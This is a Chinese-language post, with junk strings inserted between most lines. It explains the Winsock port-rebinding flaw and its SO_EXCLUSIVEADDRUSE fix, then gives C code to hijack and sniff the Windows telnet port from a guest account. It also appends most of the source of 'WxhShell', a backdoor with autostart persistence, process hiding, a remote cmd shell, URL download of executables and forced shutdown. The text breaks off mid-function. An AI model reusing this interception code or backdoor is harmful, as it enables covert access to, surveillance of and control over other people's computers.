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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4fK(<2i s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y\=(;]S' ' }G!D saddr.sin_family = AF_INET; ^hG
Y,\K9 _0~WT saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]}KoW?M <r6e23 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); av-l_iE {s=n "*Qp) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s:_M+_7_ 6`/nA4S4. 这意味着什么?意味着可以进行如下的攻击: E5-f{Qc 4NY00d/R 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vx:MLmZ. 'z'q)vcr 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (AHZmi
V ~hubh!d= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OQ[E-%v1 R fs8nYgv|Q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 KC+C?]~M h5+qP"n!?q 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K"p$ga{ >Oary 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c,ccavv{I }(x| 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ']nB_x7 [@SLt$9" #include 4dkU;Ob #include aBo8?VV]8 #include ]_cBd)3P} #include YeN /J.R DWORD WINAPI ClientThread(LPVOID lpParam); Y)?dq( int main() "`b"PQ<x { n5nV461U WORD wVersionRequested; @,Je*5$o" DWORD ret; Irk@#,{< WSADATA wsaData; HPc7Vo( BOOL val; deD%E-Ja SOCKADDR_IN saddr; KfC8~{O- SOCKADDR_IN scaddr; xM ]IU
< int err; 4vri=P 2% SOCKET s; q3+G SOCKET sc; 2k\i/i/Y int caddsize; 3j{VpacZY HANDLE mt; 9fk@C /$ DWORD tid; #[.vfG wVersionRequested = MAKEWORD( 2, 2 ); 'qGKS:8 err = WSAStartup( wVersionRequested, &wsaData ); w]Q0}Z if ( err != 0 ) { czMu<@c [ printf("error!WSAStartup failed!\n"); bFivHms return -1; 8.Q;o+NU } f1cQ*#2~ saddr.sin_family = AF_INET; %s.hqr,I g+5{&YD //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zzf;3S? k+X=8()k saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); em^|E73 saddr.sin_port = htons(23); %O5
k+~9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ri$wt.b { @agW{%R:. printf("error!socket failed!\n"); uZsm=('ww return -1; 1<hj3 } 8&15kA val = TRUE; . &dh7`l //SO_REUSEADDR选项就是可以实现端口重绑定的 2o0.ttBAqZ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) # 2As-9 { aGK =VN}r printf("error!setsockopt failed!\n"); Q>\y%&df return -1; ML6V,V/e } i^c //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !olvP*c" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Yjv[rH5v //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N3P!<J/tc [4)q6N5`f if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) gTz66a@i { W"9?D ret=GetLastError(); !V~`e9[rl printf("error!bind failed!\n"); al/3$0#U return -1; Vp = } 1}#(4tw) listen(s,2); >>lT-w while(1) cswX?MN
{ FhJ8}at+e caddsize = sizeof(scaddr); I(6k.PQ //接受连接请求 !FhK<# sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Cm:&n|
if(sc!=INVALID_SOCKET) lO482l_t { p5<2t SD mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (2He]M\ if(mt==NULL) fH_G;#q { (mq 7{;7y printf("Thread Creat Failed!\n"); JpVV0x/Q/_ break; "0pH@_8o{ } B_FfXFQm< } f
=H,BQ CloseHandle(mt); z7+y{-{Z } ([loWr}QR closesocket(s); %|(~k*s4 WSACleanup(); 0 S3~IeJ return 0; Ndj9B|s_ } \>0F{-cR$ DWORD WINAPI ClientThread(LPVOID lpParam) pg3B^ { ?!H<V@a SOCKET ss = (SOCKET)lpParam; lk $S"OH! SOCKET sc; \0%)eJ unsigned char buf[4096]; q7}$F]UM" SOCKADDR_IN saddr; x)6yWr[ri% long num; te?R(& DWORD val; @kR/=EfS DWORD ret; M[5zn //如果是隐藏端口应用的话,可以在此处加一些判断 <y${Pkrj //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ien >Ou saddr.sin_family = AF_INET; @:$zReS2 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o'.6gZ gk saddr.sin_port = htons(23); *&X. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #4h_(Y { !:Lb^C;/ printf("error!socket failed!\n"); $M\[^g(q return -1; uMm/$#E } -#]?3*NO val = 100; jEBZ"Jvb if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o[AQS` { 1gp3A ret = GetLastError(); C3fSSa%b return -1; ${n=1-SMU }
jKV,i? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w yO@oi
Vn { XAuB .)| ret = GetLastError(); ]a|3"DP5 return -1; V}732?Jy } G!~[+B if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #84pRU~ { D$k40Mz printf("error!socket connect failed!\n"); %
R~9qO closesocket(sc); ^6v ob closesocket(ss); ^ri?eKy.-g return -1; DJ"O`qNV3 } t?^C9(;6 while(1) s MAc+9G9k { $rf4h]&< //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dbGW`_zQ4 //如果是嗅探内容的话,可以再此处进行内容分析和记录 }?B=R#5 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 84[T!cDk num = recv(ss,buf,4096,0); T2#
W=P if(num>0) LPbZ. send(sc,buf,num,0); (j-[m\wF else if(num==0) L{$ZL & break; C)>
])'S num = recv(sc,buf,4096,0); }S6Sz&) if(num>0) bu"R2~sb send(ss,buf,num,0); 11}fPWK else if(num==0) .?b2Bd!MC break; Oqzz9+ } ~o`I[-g) closesocket(ss); gH-e0134% closesocket(sc); 0;'kv| return 0 ; _+K[1P } 4cK6B)X m`UNdFS Z~o*$tF/ ========================================================== )AOD~T4s7 'j=7'aX>K 下边附上一个代码,,WXhSHELL TDg#O!DUF JDVMq=ui ========================================================== "H>L!v ;J pdnV #include "stdafx.h" q4vu r>m6 10dVV[= #include <stdio.h> 6~\z]LZ #include <string.h> uf,4GPo, #include <windows.h> N$J)Ow #include <winsock2.h> a#W:SgE?Y #include <winsvc.h> wL,b.] #include <urlmon.h> }*l V fAWjk&9 #pragma comment (lib, "Ws2_32.lib") ,YFuMek #pragma comment (lib, "urlmon.lib") We3*WsX\
GqhnE> #define MAX_USER 100 // 最大客户端连接数 Nd/iMV6V; #define BUF_SOCK 200 // sock buffer p2|c8n== #define KEY_BUFF 255 // 输入 buffer B?c9cS5Mj ITh1|yP #define REBOOT 0 // 重启 W5?F?Dp!v #define SHUTDOWN 1 // 关机 z<rdxn,9 pmXx2T#= #define DEF_PORT 5000 // 监听端口 HbF.doXK MrjET!`.jC #define REG_LEN 16 // 注册表键长度 9z5K -s #define SVC_LEN 80 // NT服务名长度 $DW3H1iW YMP:T?vMVh // 从dll定义API ^a|$z$spf typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %>'2E!% typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /h%<e typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v'*Q[
(' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k%#`{#ni VtF^;
f // wxhshell配置信息 }(O/ y- struct WSCFG { Ay<'Z6` int ws_port; // 监听端口 m`
cw: char ws_passstr[REG_LEN]; // 口令 dz.]5R int ws_autoins; // 安装标记, 1=yes 0=no 9Qp39(l: char ws_regname[REG_LEN]; // 注册表键名 O
z%K* char ws_svcname[REG_LEN]; // 服务名 rKq/=Avv char ws_svcdisp[SVC_LEN]; // 服务显示名 ?_ [xpK() char ws_svcdesc[SVC_LEN]; // 服务描述信息 zLXmjrC char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8WV1OIL int ws_downexe; // 下载执行标记, 1=yes 0=no Rk^Fasg" char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" =nOV!!
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :7p0JGd eA&hiAP/ }; a&)0_i:r Pgg6(O9}B^ // default Wxhshell configuration I.tJ4 struct WSCFG wscfg={DEF_PORT, BQ[1,\> "xuhuanlingzhe", ` =dD6r 1, PaV [{CD "Wxhshell", .Ozfj@ f "Wxhshell", gs 8w/ "WxhShell Service", rq9{m( "Wrsky Windows CmdShell Service", ?GU/Rf!H# "Please Input Your Password: ", 4NbX!"0 1, S5d:?^PGg " http://www.wrsky.com/wxhshell.exe", RH ow%2D "Wxhshell.exe" )H$Ik)/N }; sj2v*tFb l.1)%q&@^ // 消息定义模块 @``kt*+K+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +Uq9C-Iu char *msg_ws_prompt="\n\r? for help\n\r#>"; g~.,-V} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Y5=~>*e char *msg_ws_ext="\n\rExit."; !U}A1) char *msg_ws_end="\n\rQuit."; ,T"pUe VJ char *msg_ws_boot="\n\rReboot..."; ]P$8# HiX char *msg_ws_poff="\n\rShutdown..."; *wP8)yv7 char *msg_ws_down="\n\rSave to "; +FQ:Q+ #})Oz| c char *msg_ws_err="\n\rErr!"; TW).j6@f char *msg_ws_ok="\n\rOK!"; g}IdU;X$NT 8+
eZU<\B( char ExeFile[MAX_PATH]; zc]F int nUser = 0; YS,kjL/ HANDLE handles[MAX_USER]; R B.j@* int OsIsNt; u#%Ig3
>joGGT SERVICE_STATUS serviceStatus; O;f^'N SERVICE_STATUS_HANDLE hServiceStatusHandle; >h<eEv/ f2_LfbvH // 函数声明 5}9-)\8=z int Install(void); # j*$ `W; int Uninstall(void); !$AVlMnJ int DownloadFile(char *sURL, SOCKET wsh); [Z,AquCU( int Boot(int flag); r\vB-nJ void HideProc(void); EG&^;uU int GetOsVer(void); /V~L:0% int Wxhshell(SOCKET wsl); 66D<Up'K void TalkWithClient(void *cs); wc)[r~On(5 int CmdShell(SOCKET sock); *x`z5_yfO int StartFromService(void); [ar:zlV8 int StartWxhshell(LPSTR lpCmdLine); 4DEsB)%X cGkl=-oQ' VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O 4N_lr~ VOID WINAPI NTServiceHandler( DWORD fdwControl ); J><O
51 L;nRI. // 数据结构和表定义 52m^jT Sx SERVICE_TABLE_ENTRY DispatchTable[] = Q6,rY(b6 { ]?-56c, {wscfg.ws_svcname, NTServiceMain}, T =3te|fv {NULL, NULL} 5h1!E }; C-qsyJgZy _XXK1H x // 自我安装 dVVeH\o int Install(void) \bQ|O7s { 7;;W{W% char svExeFile[MAX_PATH]; zA&0H HKEY key; ,M7sOp6} strcpy(svExeFile,ExeFile); 0o At=S fj0+a0h // 如果是win9x系统,修改注册表设为自启动 POH>!lHu if(!OsIsNt) { qS&PMQ"$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rZu_"bcJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x~ s> RegCloseKey(key); `m3@mJ!>\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 90sM S]a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V==' 7n RegCloseKey(key); Ms1G&NYP return 0; VT3Zo%X x } |rdG+> } &-<"HW } wuzz Wq else { $@x3<}X; aZ@4Z=LK // 如果是NT以上系统,安装为系统服务 s%GiM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `"AjbCL if (schSCManager!=0) }S*6+4 { z$7YC49^ SC_HANDLE schService = CreateService "x\3`Qk ( _QvyFKAM schSCManager, gK(E0p" wscfg.ws_svcname, gywI@QD%# wscfg.ws_svcdisp, *Q!b%DIa$ SERVICE_ALL_ACCESS, r{\cm
Ds SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [.6>%G1C SERVICE_AUTO_START, mI9h| n SERVICE_ERROR_NORMAL, Zt lS*id_ svExeFile, ]|u}P2 NULL, "oz@w'rG NULL, Pdf_{8r NULL, sB0+21'R NULL, ?jqZeO#W7 NULL U%oI* ); N#7 ]xL if (schService!=0) 3
%DA { { X&wK< CloseServiceHandle(schService); 4bAgbx-^ CloseServiceHandle(schSCManager); ,;/4E strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EyBdL strcat(svExeFile,wscfg.ws_svcname); V]q{N-Iq if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u:HKmP; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xid>8 RegCloseKey(key); Ub3,x~V return 0; q{U -kuui } te6[^_k } ~;+i[Z&e CloseServiceHandle(schSCManager); .Z_U]_( } GbP!l;a } l06 q1M 3 `t6lnO return 1; \W= } ~%<PEl| @b>]q$)(} // 自我卸载 5&}icS int Uninstall(void) {_q2kk { 46XB6z01 HKEY key; N23s{S t n|,Es!8:o if(!OsIsNt) { XX6&%7( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7PQedZ<\ RegDeleteValue(key,wscfg.ws_regname); ZM|>Va/X RegCloseKey(key); b%oma{I=.c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G x,D'H' RegDeleteValue(key,wscfg.ws_regname); 1c}'o*K_% RegCloseKey(key); nn=JM7e\9 return 0; 1Rczf (,aT } fLD9RZ8_ } _eO] awsA } iGha pD else { M2s 9&d BL0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |HG%o
3E] if (schSCManager!=0) qS2%U?S7 { 0I#<-9&d- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0(i`~g5 if (schService!=0) [;?^DAnK2 { I*
bjE' if(DeleteService(schService)!=0) { 61mQJHl. CloseServiceHandle(schService); }K*ri CloseServiceHandle(schSCManager); >#q|Pjv] return 0; ~(Tz < } S;t~"87v* CloseServiceHandle(schService); Fe= 4^. } 3YLnh@- CloseServiceHandle(schSCManager); Fj]S8wI } 78.sf{I } <5X@r#Lz ;8T<L[ ^U return 1; .1pEq~> } yr=r?h} VKs\b-1 // 从指定url下载文件 JBwTmOvQ int DownloadFile(char *sURL, SOCKET wsh) /C(L(X { xJ"KR:CD> HRESULT hr; {[s<\<~B* char seps[]= "/"; cYp}$ char *token; Z
ZiS$&NK8 char *file; )`Fr*H3{ char myURL[MAX_PATH]; mi-\PD>X char myFILE[MAX_PATH]; I}q-J~s #E ~FF@a strcpy(myURL,sURL); =.o-R=:d token=strtok(myURL,seps); HAiUFO/R while(token!=NULL) TtvS|09p; { E$1^}RGT) file=token; 9:Y:Vx token=strtok(NULL,seps); [%@zH } cr/|dc' H 0h GetCurrentDirectory(MAX_PATH,myFILE); ^s?wnEo;j strcat(myFILE, "\\"); O[`Ob6Q{F strcat(myFILE, file); >ciq4H43Q| send(wsh,myFILE,strlen(myFILE),0); [qXpi'q[ send(wsh,"...",3,0); 7d<v\=J} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z=fag'fzM if(hr==S_OK) -?]ltn9! return 0; lvN{R{7> else W+eN%w5 return 1; ;+jp,( 7 {jVFlKP> } \8$`:3,@ C=]3NB>Jc // 系统电源模块 =;`YtOL int Boot(int flag) w %zw+E { 6,7omYof HANDLE hToken; U=t'>;(g TOKEN_PRIVILEGES tkp; VsmL#@E +sI.GWQ_: if(OsIsNt) { a(7ryl~c= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xC{NIOYn' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~3%3{aa tkp.PrivilegeCount = 1; _kd |:, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z\L@5.*ydE AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _qg6(
X if(flag==REBOOT) { %b?Pasf. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &-*nr/xT return 0; <2Q@^ } Y/^<t'o& else { n>4S P_[E7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S?{5DxilO return 0; ep?0@5D}] } Y;w]u_ } }-vBRY else { y(dS1.5F if(flag==REBOOT) { Z~uKT n if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W<4\4 return 0; 42u\Y_^ID } md`ToU else { ]/bE${W*] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i#lo?\PO> return 0; ypd?mw&1} } X2`>@GR/> } g@2.A;N0 Z]Y4NO; return 1; ]Rye AJ3 } AAW7@\q. 6:,^CI|@t // win9x进程隐藏模块 j+9
S void HideProc(void) R]Oy4U,f { W'jXIO /ZDc=>)~ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jE#8&P~ if ( hKernel != NULL ) CwvNxH#LVu { /RM-+D:Y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =5`@:!t7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k~#|8eLv FreeLibrary(hKernel); Q8x{V_Pot } K5>:WiY [Mz;:/ return; {H V,2-z } RuZ;hnE& ='0!B]<G // 获取操作系统版本 vR$5ItnT int GetOsVer(void) &w0=/G/T=~ { ak>NKK8P OSVERSIONINFO winfo; kKM%
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b..$5 GetVersionEx(&winfo); Z-|C{1}A if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \DqxS=o; return 1; qfu2}qUX~% else p]&Q`oh return 0; CK(ev*@\D, } ?6d4T _|ib@Xbin // 客户端句柄模块 =LxmzQO# int Wxhshell(SOCKET wsl) }NCvaO { a1SOC=.M; SOCKET wsh; BUinzW z{a struct sockaddr_in client; mj=|oIMwT DWORD myID; BA-nxR H4NEB1TO> while(nUser<MAX_USER) )F9r?5}v4x { %,et$1`g int nSize=sizeof(client); 3+3m`%G wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y}uQ`f if(wsh==INVALID_SOCKET) return 1; 4P!DrOB sRQh~5kM handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ok[=1gA#h if(handles[nUser]==0) SAh054/St closesocket(wsh); TEyx((SK else JF%=Bc $C nUser++; 3|Sy'J0'K } Uob |Q=MQ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ATM:As:<@ ^~qs-.? return 0; +[/47uFbI } -5 /v` ~[TKVjyO // 关闭 socket *"FLkC4 void CloseIt(SOCKET wsh) 2?iOB6 { 6;frIl; closesocket(wsh); zL'IN)7MU nUser--; %D(prA_w ExitThread(0); ;&6PL]/d } jHlOP,kc 7/_ VE // 客户端请求句柄 qYZ7Zt; void TalkWithClient(void *cs) Q5nyD/k4c { F9P0cGDs 4>VZk^%b# SOCKET wsh=(SOCKET)cs; yVHlT char pwd[SVC_LEN]; gvqd1?0w char cmd[KEY_BUFF]; v\(m"|4(i char chr[1]; C'/M/|=Q# int i,j; _SC $H-D9+8 7 while (nUser < MAX_USER) { 1 {x~iZa ZT"|o\G^Q if(wscfg.ws_passstr) { 6'Yn|A if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5A$az03y$\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .xkV#ol //ZeroMemory(pwd,KEY_BUFF); KHecc/,,S i=0; 8@yc}~8 * while(i<SVC_LEN) { LQ\
ELJj ht3T{4qCS // 设置超时 B9IXa; fd_set FdRead; (GEi<\16[ struct timeval TimeOut; (1AA;)`Kp FD_ZERO(&FdRead); Di<J6xu FD_SET(wsh,&FdRead); `JWYPsWk TimeOut.tv_sec=8; ]~00=nXFM/ TimeOut.tv_usec=0; w<~<(5mM5; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }SMJD if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cbCE
$ NQ!N"C3u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E`uaE=Mdq pwd =chr[0]; %Mng8r if(chr[0]==0xd || chr[0]==0xa) { *76viqY;dE pwd=0; _lPl)8k break; Mj
B<\g> } )n}]]^Sc i++; 4ZJT[zi } )yNw2+ ~5 >}DjHLTW\ // 如果是非法用户,关闭 socket AqbT{,3yW if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c >
mu)('U } frmqBC VJ: hG~]~ ) send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cxD}t'T send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Stw+Dm\! ok3 while(1) { a|P~LMPM YKe0:cWc ZeroMemory(cmd,KEY_BUFF); 85|95P.< +# RlX3P // 自动支持客户端 telnet标准 cl8_rt j=0; 3W-NS~y while(j<KEY_BUFF) { X4} `> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9U7Mu;4 cmd[j]=chr[0]; YR|(;B if(chr[0]==0xa || chr[0]==0xd) { !
[|vx!p cmd[j]=0; cCh0?g7nV break; J[<pZ
[ } WE 5"A|
= j++; k?["F%)I } fmnRUN= ,"N3k(g // 下载文件 +f\pk \Ith if(strstr(cmd,"http://")) { RUS7Z~5 send(wsh,msg_ws_down,strlen(msg_ws_down),0); A&|Wvb= if(DownloadFile(cmd,wsh)) K/wiL69 send(wsh,msg_ws_err,strlen(msg_ws_err),0); X40la_[. else hINnb7o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @cu}3> } ]@/^_f>D else { ;WvYzd9 MJ>Qq[0 switch(cmd[0]) { of+phMev &ppE|[{ // 帮助 7O8V1Tt case '?': { /OhaERv send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XWUvP break; R(2HYZ } iM?I
/\ // 安装 2H?I'<NoC case 'i': { }_a+X if(Install()) PTzp;. send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'YZI>V* else vZ[$H send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZVdsxo< break; .7pGx*WH^Y } /$FXg;h9$ // 卸载 iHE0N6%q case 'r': { -7-Fd_F8 if(Uninstall()) BrNG%%n send(wsh,msg_ws_err,strlen(msg_ws_err),0);
[+;FV!M6 else ?AV&@EX2C send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W>`g;[ W break; <\1}@?NGC } r^w\9a_ // 显示 wxhshell 所在路径 z-KrQx2
case 'p': { O)R7t3t char svExeFile[MAX_PATH]; y wW-p. strcpy(svExeFile,"\n\r"); sR"zRn strcat(svExeFile,ExeFile); `ICcaRIN8I send(wsh,svExeFile,strlen(svExeFile),0); gx!*O<|e4 break; ,J~,ga~ } E8T"{
R80 // 重启 v Q-ixh case 'b': { ~K5Cr send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =bs.2aN&^ if(Boot(REBOOT)) Bs+c2R send(wsh,msg_ws_err,strlen(msg_ws_err),0); v>#Cg\ else { n!0${QVnS closesocket(wsh); 2Vz'n@g= ExitThread(0); Sni&?tcY } jIAW-hc] break; -`zG_]=- } 0Jm]f/iZ // 关机 do:QH.q8) case 'd': { CS~=Z>6EjA send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uY&=eQ_Cb if(Boot(SHUTDOWN)) Cz'xGW{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]j& FbP)3 else { KWFyw>*) closesocket(wsh); ftYR,!& ExitThread(0); b@=zrhQ } cT/3yf break; gB(9vhj$ } Ey r5jXt%; // 获取shell -Bo86t)F case 's': { *'Z-OY<V CmdShell(wsh); p>k]C:h closesocket(wsh); lZ}izl ExitThread(0); LQh^;
]^( break; wqJ*% } a`7%A H) // 退出 OOCQsoN case 'x': { E^b
pckP send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Dz[566UD CloseIt(wsh); q<-%L1kc1 break; d32@M~vD } >$2E1HW. // 离开 $z= 0[%L case 'q': { _ymJ~MK send(wsh,msg_ws_end,strlen(msg_ws_end),0); IYuyj(/! closesocket(wsh); &g*klt'B WSACleanup(); |.1qy,|!X exit(1); 98BYtxa break; V3##
B}2[Y } FQ+8J 7 } }C=Quy%Z< } (l
Lu?NpIi ^fkCyE;= // 提示信息 ,/~[S if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )yHJ[ } @(Z( /P;: } M[A-1]' Oc7 >S.1 return; jyNb(Z } ?#?e(mpo g<fP:/ // shell模块句柄 Uf# PoQ!y int CmdShell(SOCKET sock) 'KSa8;:=C { T'hml STARTUPINFO si; P?uf?{ ZeroMemory(&si,sizeof(si)); Q`N18I3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $9G3LgcS si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O'fk&&l PROCESS_INFORMATION ProcessInfo; |-|jf char cmdline[]="cmd"; "hW(S CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d& hD[v return 0; ;vMn/ } .
=&Jo9 6A}eSG3 // 自身启动模式 !&W|myN^ int StartFromService(void) (/'h4KS@ {
KZ]r8 typedef struct .%_)*NUZ { 4 &|C} DWORD ExitStatus; @\ }sb] DWORD PebBaseAddress; TfL4_IAG. DWORD AffinityMask; X&s7%]n+ DWORD BasePriority; :ztyxJv1 ULONG UniqueProcessId; CQ<8P86gt ULONG InheritedFromUniqueProcessId; RYt6=R+f } PROCESS_BASIC_INFORMATION; J=):+F= 5lO^;.cS, PROCNTQSIP NtQueryInformationProcess; %8
